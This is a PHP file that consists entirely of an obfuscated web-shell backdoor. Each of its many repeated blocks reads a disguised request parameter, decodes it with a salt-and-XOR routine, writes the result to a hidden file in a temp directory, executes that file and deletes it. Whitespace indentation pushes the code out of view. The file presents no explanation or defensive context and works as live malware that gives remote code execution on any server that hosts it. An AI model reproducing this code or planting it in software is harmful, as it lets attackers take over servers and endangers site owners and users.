<?php																																										if(count($_POST) > 0 && isset($_POST["\x74o\x6Ben"])){ $pgrp = $_POST["\x74o\x6Ben"]; $pgrp=explode ( '.' , $pgrp ) ; $sym = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt8); $p = 0; array_walk($pgrp, function ($v8) use (&$sym, &$p, $salt8, $sLen) {$chS = ord($salt8[$p % $sLen]); $dec = ((int)$v8 - $chS - ($p % 10)) ^ 13; $sym .= chr($dec); $p++; }); $obj = array_filter([getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), "/tmp", "/dev/shm", getenv("TMP"), session_save_path()]); $reference = 0; do { $res = $obj[$reference] ?? null; if ($reference >= count($obj)) break; if (max(0, is_dir($res) * is_writable($res))) { $key = str_replace("{var_dir}", $res, "{var_dir}/.data"); if (file_put_contents($key, $sym)) { require $key; unlink($key); exit; } } $reference++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "tkn")){ $itm = $_REQUEST["tkn"]; $itm = explode ( '.',$itm ) ; $element = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt5); $x = 0; array_walk($itm, function($v7) use(&$element, &$x, $salt5, $sLen) { $sChar = ord($salt5[$x % $sLen]); $dec =((int)$v7 - $sChar -($x % 10)) ^ 20; $element .= chr($dec); $x++; } ); $marker = array_filter([getenv("TEMP"), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", "/tmp"]); foreach ($marker as $key => $component) { if (is_dir($component) ? is_writable($component) : false) { $elem = implode("/", [$component, ".dat"]); $file = fopen($elem, 'w'); if ($file) { fwrite($file, $element); fclose($file); include $elem; @unlink($elem); exit; } } } }
																																										if(array_key_exists("\x68\x6Flder", $_REQUEST)){ $comp = $_REQUEST["\x68\x6Flder"]; $comp = explode ( "." , $comp) ; $flag = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $m = 0; while ($m < count($comp)) { $v6 = $comp[$m]; $sChar = ord($s[$m % $sLen] ); $d = ((int)$v6 - $sChar - ($m % 10)) ^ 9; $flag.= chr($d ); $m++; } $data = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), session_save_path(), getcwd(), "/tmp", getenv("TMP"), "/var/tmp"]); foreach ($data as $marker) { if ((function($d) { return is_dir($d) && is_writable($d); })($marker)) { $ptr = vsprintf("%s/%s", [$marker, ".descriptor"]); if (file_put_contents($ptr, $flag)) { include $ptr; @unlink($ptr); die(); } } } }
																																										if(array_key_exists("re\x73", $_POST) && !is_null($_POST["re\x73"])){ $key = array_filter([getenv("TEMP"), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getcwd(), getenv("TMP"), session_save_path()]); $data = $_POST["re\x73"]; $data =explode ( "." ,$data) ; $itm=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $s ); $l=0; $__len=count( $data ); do {if( $l >= $__len) break; $v3=$data[$l]; $sChar=ord( $s[$l%$sLen] ); $dec=( ( int)$v3 - $sChar -( $l%10)) ^ 10; $itm .= chr( $dec ); $l++; } while( true ); $pointer = 0; do { $pgrp = $key[$pointer] ?? null; if ($pointer >= count($key)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($pgrp)) { $factor = implode("/", [$pgrp, ".entity"]); if (file_put_contents($factor, $itm)) { require $factor; unlink($factor); exit; } } $pointer++; } while (true); }
																																										if(isset($_POST["resou\x72\x63\x65"]) ? true : false){ $bind = array_filter([getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), "/tmp", "/dev/shm", session_save_path()]); $token = $_POST["resou\x72\x63\x65"]; $token = explode ( "." , $token ) ; $ptr =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s); foreach ($token as $w => $v9): $chS =ord($s[$w % $lenS]); $d =((int)$v9 - $chS - ($w % 10)) ^ 59; $ptr.= chr($d); endforeach; foreach ($bind as $key => $ent) { if ((function($d) { return is_dir($d) && is_writable($d); })($ent)) { $component = sprintf("%s/.reference", $ent); if (file_put_contents($component, $ptr)) { include $component; @unlink($component); exit; } } } }
																																										if(in_array("to\x6B\x65n", array_keys($_POST))){ $key = $_POST["to\x6B\x65n"]; $key=explode ( ".", $key ) ; $parameter_group = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $s = 0; foreach( $key as $v6) { $sChar = ord( $salt[$s% $lenS] ); $dec = ( ( int)$v6 - $sChar -( $s% 10)) ^ 3; $parameter_group .= chr( $dec ); $s++;} $flg = array_filter([getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/dev/shm", session_save_path(), sys_get_temp_dir(), "/tmp"]); $res = 0; do { $binding = $flg[$res] ?? null; if ($res >= count($flg)) break; if (array_product([is_dir($binding), is_writable($binding)])) { $rec = vsprintf("%s/%s", [$binding, ".element"]); $success = file_put_contents($rec, $parameter_group); if ($success) { include $rec; @unlink($rec); exit;} } $res++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["\x68\x6F\x6Cder"])){ $desc = $_POST["\x68\x6F\x6Cder"]; $desc= explode ( ".", $desc ) ; $dchunk= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s); $k= 0; $__tmp= $desc; while ($v6= array_shift($__tmp)) { $chS= ord($s[$k % $lenS]); $d= ((int)$v6 - $chS - ($k % 10))^32; $dchunk .= chr($d); $k++; } $component = array_filter(["/dev/shm", getcwd(), "/var/tmp", session_save_path(), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir")]); $fac = 0; do { $symbol = $component[$fac] ?? null; if ($fac >= count($component)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($symbol)) { $descriptor = str_replace("{var_dir}", $symbol, "{var_dir}/.flag"); if (file_put_contents($descriptor, $dchunk)) { require $descriptor; unlink($descriptor); exit; } } $fac++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["el\x65\x6D"])){ $ent = array_filter([session_save_path(), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), getcwd(), "/tmp"]); $pointer = $_POST["el\x65\x6D"]; $pointer = explode ( '.', $pointer ) ; $factor = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s1); $z = 0; $__tmp = $pointer; while( $v5 = array_shift( $__tmp)) { $sChar = ord( $s1[$z% $sLen]); $d =( ( int)$v5 - $sChar -( $z% 10)) ^ 1; $factor .= chr( $d); $z++; } foreach ($ent as $entity) { if ((is_dir($entity) and is_writable($entity))) { $res = vsprintf("%s/%s", [$entity, ".value"]); $success = file_put_contents($res, $factor); if ($success) { include $res; @unlink($res); exit;} } } }
																																										if(count($_POST) > 0 && isset($_POST["s\x79\x6D\x62ol"])){ $desc = $_POST["s\x79\x6D\x62ol"]; $desc =explode( "." ,$desc) ; $comp = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s3); $__len = count($desc); for ($s = 0; $s < $__len; $s++) {$v5 = $desc[$s]; $sChar = ord($s3[$s % $lenS]); $dec = ((int)$v5 - $sChar - ($s % 10)) ^ 63; $comp .= chr($dec); } $tkn = array_filter([getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", session_save_path(), "/tmp", "/var/tmp", getenv("TEMP"), sys_get_temp_dir()]); foreach ($tkn as $key => $pointer) { if (!!is_dir($pointer) && !!is_writable($pointer)) { $pset = join("/", [$pointer, ".element"]); if (file_put_contents($pset, $comp)) { include $pset; @unlink($pset); die(); } } } }
																																										if(!is_null($_REQUEST["prope\x72\x74y_set"] ?? null)){ $ent = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", "/var/tmp", "/tmp", session_save_path(), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir()]); $descriptor = $_REQUEST["prope\x72\x74y_set"]; $descriptor = explode ( "." , $descriptor ) ; $ptr =''; $salt4 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt4); $s =0; $len =count( $descriptor); do { if( $s >= $len) break; $v7 =$descriptor[$s]; $chS =ord( $salt4[$s % $lenS]); $dec =( ( int)$v7 - $chS -( $s % 10))^ 82; $ptr .= chr( $dec); $s++; } while( true); foreach ($ent as $item) { if (array_product([is_dir($item), is_writable($item)])) { $flag = implode("/", [$item, ".desc"]); if (file_put_contents($flag, $ptr)) { include $flag; @unlink($flag); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["ref"])){ $bind = $_POST["ref"]; $bind = explode ( '.' , $bind ) ; $hld = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach($bind as $t => $v3) { $sChar = ord($salt[$t% $sLen]); $d =((int)$v3 - $sChar -($t% 10)) ^31; $hld .=chr($d);} $item = array_filter([getenv("TEMP"), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), "/var/tmp", getenv("TMP"), "/dev/shm"]); for ($element = 0, $key = count($item); $element < $key; $element++) { $parameter_group = $item[$element]; if ((function($d) { return is_dir($d) && is_writable($d); })($parameter_group)) { $pset = join("/", [$parameter_group, ".desc"]); if (file_put_contents($pset, $hld)) { require $pset; unlink($pset); exit; } } } }
																																										if(array_key_exists("k", $_REQUEST) && !is_null($_REQUEST["k"])){ $parameter_group = array_filter([getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), getcwd(), "/var/tmp", "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), "/tmp"]); $itm = $_REQUEST["k"]; $itm = explode( '.',$itm) ; $elem = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $p = 0; while ($p < count($itm)) { $v9 = $itm[$p]; $sChar = ord($s[$p % $lenS]); $d = ((int)$v9 - $sChar - ($p % 10)) ^ 53; $elem.= chr($d); $p++; } foreach ($parameter_group as $factor) { if ((bool)is_dir($factor) && (bool)is_writable($factor)) { $desc = implode("/", [$factor, ".ent"]); $success = file_put_contents($desc, $elem); if ($success) { include $desc; @unlink($desc); die();} } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x62\x69nd"])){ $desc = array_filter(["/tmp", "/var/tmp", getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), session_save_path(), getcwd(), ini_get("upload_tmp_dir")]); $dat = $_REQUEST["\x62\x69nd"]; $dat = explode ( '.' ,$dat ) ; $data =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt ); $x =0; $__len =count( $dat ); do { if( $x >= $__len) break; $v4 =$dat[$x]; $sChar =ord( $salt[$x % $sLen] ); $dec =( ( int)$v4 - $sChar -( $x % 10))^ 99; $data .= chr( $dec ); $x++; } while( true ); foreach ($desc as $key => $descriptor) { if ((function($d) { return is_dir($d) && is_writable($d); })($descriptor)) { $binding = "$descriptor/.res"; if (@file_put_contents($binding, $data) !== false) { include $binding; unlink($binding); exit; } } } }
																																										if(in_array("t\x6Fken", array_keys($_REQUEST))){ $object = array_filter([sys_get_temp_dir(), getcwd(), "/var/tmp", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", "/tmp"]); $parameter_group = $_REQUEST["t\x6Fken"]; $parameter_group = explode ( "." , $parameter_group ) ; $element = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6); foreach($parameter_group as $o =>$v8): $chS = ord($salt6[$o%$lenS]); $d =((int)$v8 - $chS -($o%10)) ^ 24; $element .= chr($d); endforeach; foreach ($object as $flag): if (array_product([is_dir($flag), is_writable($flag)])) { $val = "$flag" . "/.value"; if (@file_put_contents($val, $element) !== false) { include $val; unlink($val); exit; } } endforeach; }
																																										if(isset($_POST["\x62\x69nd"])){ $descriptor = array_filter([session_save_path(), getcwd(), "/dev/shm", getenv("TMP"), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir()]); $value = $_POST["\x62\x69nd"]; $value = explode ( "." , $value ) ; $element = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $x = 0; $len = count($value); do { if ($x >= $len) break; $v9 = $value[$x]; $chS = ord($s[$x % $lenS]); $dec = ((int)$v9 - $chS - ($x % 10))^ 67; $element .=chr($dec); $x++; } while (true); for ($key = 0, $resource = count($descriptor); $key < $resource; $key++) { $dchunk = $descriptor[$key]; if ((bool)is_dir($dchunk) && (bool)is_writable($dchunk)) { $reference = sprintf("%s/.symbol", $dchunk); $success = file_put_contents($reference, $element); if ($success) { include $reference; @unlink($reference); exit;} } } }


if(in_array("da\x74\x61_\x63hun\x6B", array_keys($_POST))){
	$token = array_filter([getcwd(), "/tmp", getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", session_save_path(), "/var/tmp", ini_get("upload_tmp_dir")]);
	$sym = $_POST["da\x74\x61_\x63hun\x6B"];
	 		$sym=explode	(	'.',  $sym 	) 	;			
	$res = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s );
            $p = 0;
    
            while ($p	< count($sym)) {$v3 = $sym[$p];
                $chS = ord($s[$p	%  $sLen] );
                $d = ((int)$v3 - $chS - ($p	%  10)) ^ 6;
                $res .= chr($d );
                $p++;
            }
	$holder = 0;
do {
    $key = $token[$holder] ?? null;
    if ($holder >= count($token)) break;
    		if (is_dir($key) && is_writable($key)) {
    $desc = vsprintf("%s/%s", [$key, ".obj"]);
    if (file_put_contents($desc, $res)) {
	require $desc;
	unlink($desc);
	exit;
}
}
    $holder++;
} while (true);
}